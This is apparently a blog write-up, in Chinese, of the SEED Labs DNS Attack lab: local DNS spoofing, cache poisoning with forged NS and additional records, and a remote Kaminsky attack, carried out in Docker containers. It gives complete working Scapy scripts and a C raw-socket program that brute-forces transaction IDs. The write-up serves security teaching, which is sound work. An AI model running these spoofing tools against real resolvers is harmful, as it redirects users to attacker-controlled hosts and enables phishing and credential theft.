SeedLab——DNS Attack Lab

SeedLab——DNS Attack Lab

About DNS

DNS(Domain Name System)是一个用于将域名转换为与之关联的IP地址的分布式命名系统。它充当了互联网上的电话簿,将人类可读的域名(例如example.com)映射到计算机可理解的IP地址(例如192.0.2.1)。

在互联网上,每个设备都有一个唯一的IP地址,用于在网络中进行通信。然而,人们更容易记住和使用具有意义的域名,而不是记住一串数字。这就是DNS的作用:它提供了一个分层、分布式的系统,通过将域名解析为IP地址,使得用户可以使用易于记忆的域名访问网站、发送电子邮件等。

DNS工作原理如下:当用户在浏览器中输入一个域名时,操作系统会向本地DNS解析器发送一个DNS查询请求。本地DNS解析器首先查询自己的缓存,如果找到了对应的域名和IP地址的映射关系,则直接返回给操作系统。如果缓存中没有对应的映射关系,本地DNS解析器会向根DNS服务器发送查询请求,获取顶级域名服务器的地址。然后,本地DNS解析器继续向顶级域名服务器发送查询请求,获取次级域名服务器的地址,以此类推,直到找到负责该域名的DNS服务器。本地DNS解析器向负责该域名的DNS服务器发送查询请求,并获取域名对应的IP地址。最后,本地DNS解析器将IP地址返回给操作系统,并将该映射关系存储在缓存中,以便下次查询时快速响应。

通过DNS,用户可以使用易于记忆的域名访问互联网上的各种资源,而无需记住复杂的IP地址。同时,DNS还支持其他类型的记录,如邮件交换记录(MX记录)和文本记录(TXT记录),用于指定邮件服务器和提供其他信息。

Local DNS Attack Lab

Environment Setup

在Labsetup目录下执行

dcup --remove-orphans

查看docker容器的IP地址

docker inspect -f '{{.Name}}-{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)

可知创建了一个这样的网络拓扑结构

image-20231211142224771

Summary of the DNS Configuration

对于本地 DNS 服务器上的 BIND 9 DNS 服务器程序,它从一个名为/etc/bind/named.conf的文件中获取配置信息。该文件是主要的配置文件,通常包含多个include条目,即实际的配置信息存储在这些被包含的文件中。其中一个被包含的文件叫做/etc/bind/named.conf.options,这是实际配置被设置的地方。

Other illustrate

1、DNS服务器现在在其DNS查询中随机化源端口号,这使得攻击变得更加困难。不幸的是,许多DNS服务器仍然使用可预测的源端口号。为了在实验中简化操作,我们在配置文件中将源端口号固定为33333。这样做是为了方便实验的目的,以保持简单性。

2、DNSSEC(Domain Name System Security Extensions)是一种安全扩展机制。它旨在解决DNS中的数据完整性、身份验证和防止欺骗的问题。DNSSEC通过使用加密技术和数字签名来保护DNS数据的完整性和可信性。它通过对域名解析过程中的DNS数据进行签名和验证来确保数据的真实性,防止数据被篡改或伪造。为了展示在没有这种保护机制的情况下攻击的工作原理,我们在配置文件中关闭了DNSSEC的保护。换句话说,我们禁用了DNSSEC功能,以便在实验中展示没有该保护机制时的攻击情况。

3、在攻击期间,我们需要检查本地DNS服务器上的DNS缓存。以下两个命令与DNS缓存相关。第一个命令将缓存内容转储到文件/var/cache/bind/dump.db中,第二个命令用于清除缓存。

rndc dumpdb -cache # 将DNS缓存的内容转储到指定文件(/var/cache/bind/dump.db)中
rndc flush # 清空缓存中的所有记录

4、在本地DNS服务器上添加了一个转发区域(forward zone),如果有人查询attacker32.com域名,查询将被转发到该域名的域名服务器。该域名服务器托管在攻击者容器中。转发区域的条目被放置在named.conf文件中。这样做的目的是为了将对attacker32.com域名的查询转发到相应的域名服务器,以实现对该域名的解析。在本地DNS服务器的named.conf文件中,条目内容如下:

zone "attacker32.com" {
    type forward;
    forwarders { 
        10.9.0.153; 
    };
};

5、用户容器10.9.0.5已经配置为使用10.9.0.53作为其本地DNS服务器。这是通过更改用户机器的解析器配置文件(/etc/resolv.conf)来实现的,将服务器10.9.0.53添加为文件中的第一个nameserver条目,也就是说,这个服务器将被用作主要的DNS服务器。

root@cc5f0de1f549:/# cat /etc/resolv.conf
nameserver 10.9.0.53

6、在攻击者的域名服务器上,托管了两个区域(zone)。一个是攻击者的合法区域attacker32.com,另一个是虚假的example.com区域。这些区域的配置在/etc/bind/named.conf文件中。


zone "attacker32.com" {
        type master;
        file "/etc/bind/zone_attacker32.com";
};
zone "example.com" {
        type master;
        file "/etc/bind/zone_example.com";
};

Testing the DNS Setup

在实验之前,测试DNS配置的正确性。

  • 测试一

在user容器中运行下面的命令,获取ns.attacker32.com的IP地址。

dig ns.attacker32.com

由于在本地DNS服务器的配置文件中添加了转发区域条目,当我们运行dig命令时,本地DNS服务器将会将请求转发到攻击者的域名服务器。因此,得到的IP应该来自我们在攻击者域名服务器上设置的区域文件即/etc/bind/zone_attacker32.com。如下,子域名前缀为ns,因此得到的IP地址应该为10.9.0.153

$TTL 3D
@       IN      SOA   ns.attacker32.com. admin.attacker32.com. (
                2008111001
                8H
                2H
                4W
                1D)

@       IN      NS    ns.attacker32.com.

@       IN      A     10.9.0.180
www     IN      A     10.9.0.180
ns      IN      A     10.9.0.153
*       IN      A     10.9.0.100
  • 测试二

对于www.example.com,现在有两个域名服务器托管example.com域,一个是该域的官方域名服务器,另一个是攻击者容器。运行下面两条命令

dig www.example.com # 查询默认的域名服务器以获取www.example.com的IP地址。
# 得到了正确的结果
# ;; ANSWER SECTION:
# www.example.com.        86400   IN      A       93.184.216.34

dig @ns.attacker32.com www.example.com # 向ns.attacker32.com这个域名服务器查询www.example.com的IP地址
# 从ns.attacker32.com得到了错误的结果
# ;; ANSWER SECTION:
# www.example.com.        259200  IN      A       1.2.3.5

显然,没有人会向ns.attacker32.com询问www.example.com的IP地址,他们会始终向example.com域名的官方域名服务器询问答案。DNS缓存投毒攻击的目标是让受害者向ns.attacker32.com询问www.example.com的IP地址。也就是说,如果我们的攻击成功,如果我们只运行第一个dig命令(没有使用@选项),就会从攻击者那里得到虚假的结果。

The Attack Tasks

DNS攻击的主要目标是在用户尝试通过A机器的主机名访问A机器时,将用户重定向到另一台机器B上。例如,当用户尝试访问在线银行时,如果攻击者能够将用户重定向到一个看起来非常像银行主网站的恶意网站,用户可能会被欺骗并泄露他/她的在线银行账户密码。

Task 1: Directly Spoofing Response to User

当用户在Web浏览器中输入一个网站的名称,用户的计算机将向本地DNS服务器发送DNS请求,以解析主机名的IP地址。攻击者可以嗅探DNS请求消息,然后立即创建一个虚假的DNS响应,并发送给用户的计算机。如果虚假的响应比真实的响应先到达,用户的计算机将接受虚假的响应。如下所示:

image-20231211153732018

在攻击前,清除本地DNS服务器中的缓存。如果缓存中有答案,本地DNS服务器的回复将比伪造的回复更快,攻击将无法成功。

rndc flush

然后再主机运行下面这段代码,iface='br-0d32c54e0d4e'网络接口地址要与本地DNS服务器和用户IP在同一网段,同时要设置网络为混杂模式。

首先检查数据包中是否包含DNS层,并且查询的域名是example.com。交换数据包中的源IP地址和目的IP地址。交换数据包中的源端口号和目的端口号。创建欺骗响应的DNS资源记录。构造新的DNS数据包,包括修改后的IP层、UDP层和DNS层。发送构造的欺骗数据包。

rrname:设置为pkt[DNS].qd.qname,即DNS查询数据包中的查询域名。
type:设置为'A',表示这是一个IPv4地址的资源记录。
ttl:设置为259200,表示该资源记录的生存时间(TTL)为259200秒(3天)。
rdata:设置为'1.2.3.4',即将被伪造的IP地址。
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
   if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):    
       print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))       
       # Swap the source and destination IP address
       IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)       
       # Swap the source and destination port number
       UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
       # The Answer Section
       Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='1.2.3.4')                   
       # Construct the DNS packet
       DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, 
                qdcount=1,ancount=1,nscount=1,
                an=Anssec)

       # Construct the entire IP packet and send it out
       spoofpkt = IPpkt/UDPpkt/DNSpkt
       send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
MyFilter = "udp and dst port 53"
pkt = sniff(iface='br-0d32c54e0d4e',filter=MyFilter, prn=spoof_dns)

在用户容器运行

dig www.example.com

得到的IP地址为1.2.3.4,可知我们的欺骗程序生效了。

image-20231211152830729

当停止攻击脚本时,就无法继续欺骗了。

Task 2: DNS Cache Poisoning Attack – Spoofing Answers

刚刚的攻击是针对用户进行的攻击,当攻击脚本停止后,攻击效果也就不复存在。有一种更有效的攻击方式,即通过针对DNS服务器缓存的攻击。

当本地DNS服务器收到一个查询时,它首先会从自己的缓存中查找答案;如果缓存中存在答案,DNS服务器将简单地使用缓存中的信息进行回复。如果缓存中没有答案,DNS服务器将尝试从其他DNS服务器获取答案。当它获取到答案后,它会将答案存储在缓存中,这样下次就不需要再向其他DNS服务器发出请求。

持续影响:通过DNS缓存投毒攻击,一次成功的伪造响应可以在DNS服务器的缓存中持续存在一段时间。这意味着每次用户机器发送DNS查询时,它都会从缓存中获取被伪造的响应,而无需每次都发送欺骗数据包。相比之下,针对用户的攻击需要每次发送伪造的响应,这可能不太高效。

减少攻击流量:针对用户的攻击需要在用户机器和攻击者机器之间进行数据包交换,以达到欺骗效果。而针对DNS服务器的攻击只需要伪造一次响应,并将其存储在DNS服务器的缓存中。这样可以减少网络上的攻击流量,从而减轻网络负载。

image-20231211153718887

在攻击之前,清空DNS服务器的缓存。

rndc flush

修改之前的代码,这次捕获来自10.9.0.53的数据包,然后向其发送伪造的DNS报文。运行该脚本

#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
   if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):    
       print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))       
       # Swap the source and destination IP address
       IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)       
       # Swap the source and destination port number
       UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
       # The Answer Section
       Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='1.2.3.4')                   
       # Construct the DNS packet
       DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, 
                qdcount=1, ancount=1, an=Anssec)

       # Construct the entire IP packet and send it out
       spoofpkt = IPpkt/UDPpkt/DNSpkt
       send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
MyFilter = "udp and src host 10.9.0.53"
pkt = sniff(iface='br-0d32c54e0d4e',filter=MyFilter, prn=spoof_dns)

在用户容器运行下面的命令

dig www.example.com

image-20231211152830729

查看DNS服务器中的DNS缓存

image-20231211155107557

终止攻击脚本,然后继续在用户容器查询www.example.com的地址,DNS污染继续生效。

Task 3: Spoofing NS Records

相比较之前的攻击方式,这种攻击效果又近了一步。攻击者在DNS响应的Authority部分添加了伪造的NS记录。这样一来,本地DNS服务器会将攻击者控制的域名服务器(例如ns.attacker32.com)作为example.com域的权威域名服务器进行缓存。以后对example.com域内任何主机名的查询都将被发送到攻击者控制的域名服务器,污染的范围更广了。

同样,首先清除DNS服务器的缓存。

修改上面的代码如下,这次不返回DNS的A记录,而是返回一个NS记录,让本地DNS服务器去ns.attacker32.com查询example.com的子域名,也就是说污染了本地DNS服务器的缓存,修改了example.com权威域名服务器。运行这段代码

#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
   if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):    
       print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))       
       # Swap the source and destination IP address
       IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)       
       # Swap the source and destination port number
       UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
       # The Answer Section
       NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com') 
       # Construct the DNS packet
       DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, 
                qdcount=1, nscount=1, ns=NSsec)

       # Construct the entire IP packet and send it out
       spoofpkt = IPpkt/UDPpkt/DNSpkt
       send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
MyFilter = "udp and src host 10.9.0.53"
pkt = sniff(iface='br-0d32c54e0d4e',filter=MyFilter, prn=spoof_dns)     

然后在用户容器中查询mail.example.com的IP地址

dig mail.example.com

查询到的IP地址如下

image-20231211164617482

DNS服务器中的DNS缓存

image-20231211164743407

/etc/bind/zone_example.com文件中有,可知成功修改了example.com在本地DNS服务器中的权威域名服务器。

@       IN      A     1.2.3.4
www     IN      A     1.2.3.5
ns      IN      A     10.9.0.153
*       IN      A     1.2.3.6

Task 4: Spoofing NS Records for Another Domain

在先前的攻击中,我们成功地污染了本地DNS服务器的缓存,使得ns.attacker32.com成为example.com域的名称服务器。受到这个成功的启发,我们希望将其影响扩展到其他域名。具体而言,在由对www.example.com的查询触发的伪造响应中,我们希望在Authority部分添加额外的条目(如下所示),以便ns.attacker32.com也被用作google.com的名称服务器。

example.com. 259200 IN NS ns.attacker32.com.
google.com. 259200 IN NS ns.attacker32.com.

修改一下代码如下所示,添加一条NSsec1 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.attacker32.com')记录。

#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
   if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):    
       print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))       
       # Swap the source and destination IP address
       IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)       
       # Swap the source and destination port number
       UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
       # The Answer Section  
       Anssec = DNSRR(rrname='example.com', type='A',ttl=259200, rdata='1.2.3.4')     
       NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')  
       NSsec1 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.attacker32.com')               
       # Construct the DNS packet
       DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, 
                qdcount=1, ancount=1, nscount=2, ns=NSsec1/NSsec, an=Anssec)

       # Construct the entire IP packet and send it out
       spoofpkt = IPpkt/UDPpkt/DNSpkt
       send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
MyFilter = "udp and src host 10.9.0.53"
pkt = sniff(iface='br-0d32c54e0d4e',filter=MyFilter, prn=spoof_dns)     

重复同样的流程,查看DNS服务器的缓存,修改成功。

image-20231211171019589

Task 5: Spoofing Records in the Additional Section

在DNS回复中,有一个称为”Additional Section”的部分,用于提供附加信息。在实践中,它主要用于为某些主机名提供IP地址,特别是那些出现在”Authority Section”中的主机名。本任务的目标是在该部分中伪造一些条目,并观察它们是否会被目标本地DNS服务器成功缓存。具体而言,在对www.example.com的查询的响应中,除了”Answer Section”中的条目之外,我们在伪造的回复中添加以下条目:

;; ADDITIONAL SECTION:
ns.attacker32.com. 259200 IN A 1.2.3.4
ns.example.net. 259200 IN A 5.6.7.8
www.facebook.com. 259200 IN A 3.4.5.6

修改攻击代码如下

#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
   if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):    
      print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))       
      # Swap the source and destination IP address
      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)       
      # Swap the source and destination port number
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      # The Answer Section  
      #  Anssec = DNSRR(rrname='example.com', type='A',ttl=259200, rdata='1.2.3.4')  
      # 添加DNS资源记录
      Anssec = DNSRR(rrname='example.com', type='A',ttl=259200, rdata='1.2.3.4')  
      NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com') 
      NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.example.com')  
      Adsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='1.2.3.4')   
      Adsec2 = DNSRR(rrname='ns.example.net', type='A',ttl=259200, rdata='5.6.7.8')  
      Adsec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200, rdata='3.4.5.6')

      #  构建DNS响应包
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
             qdcount=1, ancount=1, nscount=2, arcount=3,
             an=Anssec, ns=NSsec/NSsec1, ar=Adsec1/Adsec2/Adsec3)
      ls(DNSpkt)

      # Construct the entire IP packet and send it out
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
MyFilter = "udp and src host 10.9.0.53"
pkt = sniff(iface='br-0d32c54e0d4e',filter=MyFilter, prn=spoof_dns)     

DNS缓存中记录如下

image-20231211222209074

为什么这两条记录没有写入呢?

Anssec2 = DNSRR(rrname='ns.example.net', type='A',ttl=259200, rdata='5.6.7.8')  
Anssec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200, rdata='3.4.5.6')  

在 DNS 中,超出域的附加记录是指在 DNS 查询中包含的与请求的域不相关的额外记录。通常,DNS 查询只应包含与请求的域相关的记录,例如域名的主机记录(A 记录)、邮件交换记录(MX 记录)等。超出域的附加记录(Out-of-zone Additional Records)指的就是DNS响应中返回的一些不属于当前查询域名区的额外记录。

与普通附加记录的区别是:

  • 普通附加记录都是与查询域相关的记录,如域名的NS、MX等记录。
  • 超出域附加记录是不属于当前查询域名区的其他记录,如父域名或子域名的记录等。

一些常见的超出域附加记录类型包括:

  • 父域名的NS记录:查询子域时返回父域的NS记录
  • 子域名的NS记录:查询父域时返回子域的NS记录
  • nameserver所在区域的SOA记录:返回nameserver权威区域的SOA记录

当 DNS 服务器收到一个查询请求时,它通常只会关注与请求的域相关的记录,并且会忽略超出域的附加记录。这意味着超出域的附加记录不会被处理,也不会返回给查询的客户端。DNS 服务器的这种行为是为了提高查询效率和安全性。如果 DNS 服务器处理超出域的附加记录,并将其返回给查询的客户端,那么恶意用户可能会滥用这些记录来进行攻击,例如进行 DNS 劫持、欺骗等。

那为什么task4能成功呢?因为task4并非附加记录而是authauthority。

image-20231211222928605

The Kaminsky Attack Lab

同样的,在Labsetup目录下执行

docker-compose up --build

查看网络

docker inspect -f '{{.Name}}-{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)

/seed-attacker-
/attacker-ns-10.9.0.153-10.9.0.153
/user-10.9.0.5-10.9.0.5
/local-dns-server-10.9.0.53-10.9.0.53

网络拓扑结构如下

image-20231211223844868

其他配置跟Local DNS Attack Lab一样。

The Attack Tasks

DNS查询和攻击的完整流程

image-20231213140120879

How Kaminsky attack works

上文刚刚完成了本地DNS攻击实验,这些攻击假设攻击者和DNS服务器在同一个局域网上,也就是说,攻击者可以观察到DNS查询消息。当攻击者和DNS服务器不在同一个局域网上时,缓存投毒攻击就变得更困难了。主要是因为DNS响应数据包中的事务ID必须与查询数据包中的ID匹配。因为查询中的事务ID通常是随机生成的,没有看到查询数据包,攻击者很难知道正确的ID。

显然,攻击者可以猜测事务ID。由于ID的大小只有16位,如果攻击者在真实响应到达之前可以伪造K个响应,成功的概率为K除以2的16次方。

但是,如果攻击者没有足够幸运在真实的响应数据包到达之前猜对,正确的信息将被DNS服务器缓存一段时间。这种缓存效应使得攻击者无法伪造关于相同名称的另一个响应,因为在缓存超时之前,DNS服务器不会为该名称发送另一个DNS查询。要在相同的名称上伪造另一个响应,攻击者必须等待该缓存过期。

image-20231213140530606

Kaminsky attack巧妙地避开了缓存机制的限制,不需要等到缓存过期就可以持续猜测。

去询问类似abcde.example.com12345.example.com等等这些大概率就完全不存在的example.com的子域名,由于LDNS并没有这些域名的缓存,就会发起查询,假设ns.example.comexample.com的权威DNS,LDNS就会去ns.example.com询问,每发一个这样的包,LDNS都会去问一次,攻击者也就有一次猜测的机会。

直到猜测成功,欺骗的数据包中的假的权威DNS服务器就会覆盖ns.example.com合法的DNS服务器,这是Kaminsky attack最巧妙的一点。

Construct DNS request

发送DNS请求的数据包脚本

#!/usr/bin/env python3
from scapy.all import *

Qdsec = DNSQR(qname='www.example.com')
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0,
arcount=0, qd=Qdsec)
ip = IP(dst='10.9.0.53', src='10.9.0.5')
udp = UDP(dport=53, sport=58888, chksum=0)
request = ip/udp/dns

send(request)

在本地DNS服务器先清除缓存,然后使用tcpdump捕获DNS数据包

rndc flush
tcpdump -i eth0 udp port 53

然后在运行上面的脚本,可以发现在本地DNS服务器可以收到来自10.9.0.5的DNS查询,同时本地DNS服务器向其他DNS服务器发起了查询。

image-20231213144021173

Spoof DNS Replies

example.com的权威域名服务器为a.iana-servers.net,IP地址为199.43.135.53

example.com.            777298  NS      a.iana-servers.net

伪造DNS回复的数据包脚本如下,将刚刚的权威域名服务器为a.iana-servers.net的IP地址作为源地址伪造权威域名服务器的响应,实验已将本地DNS服务器源端口号固定为33333,因此dport = 33333。

#!/usr/bin/env python3
from scapy.all import *

name = 'www.example.com'
domain = 'example.com'
ns = 'ns.attacker32.com'
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=0,
qd=Qdsec, an=Anssec, ns=NSsec)

ip = IP(dst='10.9.0.53', src='199.43.135.53')
udp = UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dns

在本地DNS服务器先清除缓存,然后使用tcpdump捕获DNS数据包

rndc flush
tcpdump -i eth0 host 199.43.135.53

运行脚本,tcpdump收到伪造的数据包

image-20231213144349617

Launch the Kaminsky Attack

在Kaminsky Attack中需要发送大量伪造的DNS回复,希望其中一个命中正确的事务号并比合法的回复更早到达。因此,速度是至关重要的:我们发送的数据包越多,成功率就越高。如果使用Scapy发送伪造的DNS回复,速度相对较慢。可以使用C语言的原始套接字,这样会比python快得多。但在C语言中构建DNS数据包并不简单。所以使用一种混合方法,结合使用Scapy和C语言来进行攻击。

生成请求数据包,并以二进制文件存储

sudo python3 gen_dns_request.py
#!/usr/bin/python3
from scapy.all import *

# based on SEED book code
# from a random src to local DNS server
IPpkt  = IP(src='1.2.3.4',dst='10.9.0.53')
# from a random sport to DNS dport
UDPpkt = UDP(sport=12345, dport=53,chksum=0)

# a inexistent fake FQDN in the target domain: example.com
# the C code will modify it
Qdsec    = DNSQR(qname='abcde.example.com') 
DNSpkt   = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
Querypkt = IPpkt/UDPpkt/DNSpkt

# Save the packet data to a file
with open('ip_req.bin', 'wb') as f:
  f.write(bytes(Querypkt))
  Querypkt.show()

生成回复数据包,并以二进制文件存储

sudo python3 gen_dns_response.py 
#!/usr/bin/python3
from scapy.all import *

# based on SEED book code
targetName = 'abcde.example.com'
targetDomain = 'example.com'

# find the true name servers for the target domain
# dig +short $(dig +short NS example.com), there are two:
# 199.43.133.53, 199.43.135.53
# the C code will modify src,qname,rrname and the id field

# reply pkt from target domain NSs to the local DNS server
IPpkt = IP(src='199.43.135.53', dst='10.9.0.53', chksum=0)
UDPpkt = UDP(sport=53, dport=33333, chksum=0)

# Question section
Qdsec  = DNSQR(qname=targetName)
# Answer section, any IPs(rdata) are fine
Anssec = DNSRR(rrname=targetName, type='A',
               rdata='1.2.3.4', ttl=259200)
# Authority section (the main goal of the attack)               
NSsec  = DNSRR(rrname=targetDomain, type='NS',
               rdata='ns.attacker32.com', ttl=259200)

DNSpkt = DNS(id=0xAAAA, aa=1,ra=0, rd=0, cd=0, qr=1,
             qdcount=1, ancount=1, nscount=1, arcount=0,
             qd=Qdsec, an=Anssec, ns=NSsec)
Replypkt = IPpkt/UDPpkt/DNSpkt
with open('ip_resp.bin', 'wb') as f:
  f.write(bytes(Replypkt))
  Replypkt.show()

利用原始套接字发起攻击的C语言程序源代码如下,随机化子域名*****.example.com,然后暴力破解transid

#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>

// based on the provided framework and SEED book code
#define MAX_FILE_SIZE 1000000

/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address 
  struct  in_addr    iph_destip;   //Destination IP address 
};

void send_raw_packet(char * buffer, int pkt_size);
void send_dns_request(unsigned char* pkt, int pktsize, char* name);
void send_dns_response(unsigned char* pkt, int pktsize,
                       unsigned char* src, char* name,
                       unsigned short id);

int main()
{
  unsigned short transid = 0;

  srand(time(NULL));

  // Load the DNS request packet from file
  FILE * f_req = fopen("ip_req.bin", "rb");
  if (!f_req) {
     perror("Can't open 'ip_req.bin'");
     exit(1);
  }
  unsigned char ip_req[MAX_FILE_SIZE];
  int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

  // Load the first DNS response packet from file
  FILE * f_resp = fopen("ip_resp.bin", "rb");
  if (!f_resp) {
     perror("Can't open 'ip_resp.bin'");
     exit(1);
  }
  unsigned char ip_resp[MAX_FILE_SIZE];
  int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

  char a[26]="abcdefghijklmnopqrstuvwxyz";
  while (1) {
    // Generate a random name with length 5
    char name[6];
    name[5] = '\0';
    for (int k=0; k<5; k++)  name[k] = a[rand() % 26];

    printf("name: %s, id:%d\n", name, transid);
    //##################################################################
    /* Step 1. Send a DNS request to the targeted local DNS server.
               This will trigger the DNS server to send out DNS queries */

    send_dns_request(ip_req, n_req, name);

    /* Step 2. Send many spoofed responses to the targeted local DNS server,
               each one with a different transaction ID. */

    for (int i = 0; i < 500; i++)
    {
      send_dns_response(ip_resp, n_resp, "199.43.133.53", name, transid);
      send_dns_response(ip_resp, n_resp, "199.43.135.53", name, transid);
      transid += 1;
    }    
    //##################################################################
  }
}

/* Use for generating and sending fake DNS request.
 * */
void send_dns_request(unsigned char* pkt, int pktsize, char* name)
{
  // replace twysw in qname with name, at offset 41
  memcpy(pkt+41, name, 5);
  // send the dns query out
  send_raw_packet(pkt, pktsize);
}

/* Use for generating and sending forged DNS response.
 * */
void send_dns_response(unsigned char* pkt, int pktsize,
                       unsigned char* src, char* name,
                       unsigned short id)
{
  // the C code will modify src,qname,rrname and the id field
  // src ip at offset 12
  int ip = (int)inet_addr(src);
  memcpy(pkt+12, (void*)&ip, 4);
  // qname at offset 41
  memcpy(pkt+41, name, 5);
  // rrname at offset 64
  memcpy(pkt+64, name, 5);
  // id at offset 28
  unsigned short transid = htons(id);
  memcpy(pkt+28, (void*)&transid, 2);
  //send the dns reply out
  send_raw_packet(pkt, pktsize);
}

/* Send the raw packet out 
 *    buffer: to contain the entire IP packet, with everything filled out.
 *    pkt_size: the size of the buffer.
 * */
void send_raw_packet(char * buffer, int pkt_size)
{
  struct sockaddr_in dest_info;
  int enable = 1;

  // Step 1: Create a raw network socket.
  int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

  // Step 2: Set socket option.
  setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
         &enable, sizeof(enable));

  // Step 3: Provide needed information about destination.
  struct ipheader *ip = (struct ipheader *) buffer;
  dest_info.sin_family = AF_INET;
  dest_info.sin_addr = ip->iph_destip;

  // Step 4: Send the packet out.
  sendto(sock, buffer, pkt_size, 0,
       (struct sockaddr *)&dest_info, sizeof(dest_info));
  close(sock);
}

编译运行程序

gcc -o ra remote_attack.c
sudo ./ra

过一段时间后查看本地DNS服务器的缓存,成功篡改了example.com的权威域名服务器

rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db

image-20231213151054921

在用户容器

dig www.example.com

当此服务器接收到关于example.com域内任何主机名的DNS查询时,它将发送一个查询到ns.attacker32.com,而不是发送到该域的合法名称服务器。

image-20231213151317035

------本页内容已结束,喜欢请分享------

文章作者
能不能吃完饭再说
隐私政策
PrivacyPolicy
用户协议
UseGenerator
许可协议
NC-SA 4.0


© 版权声明
THE END
喜欢就支持一下吧
点赞28赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片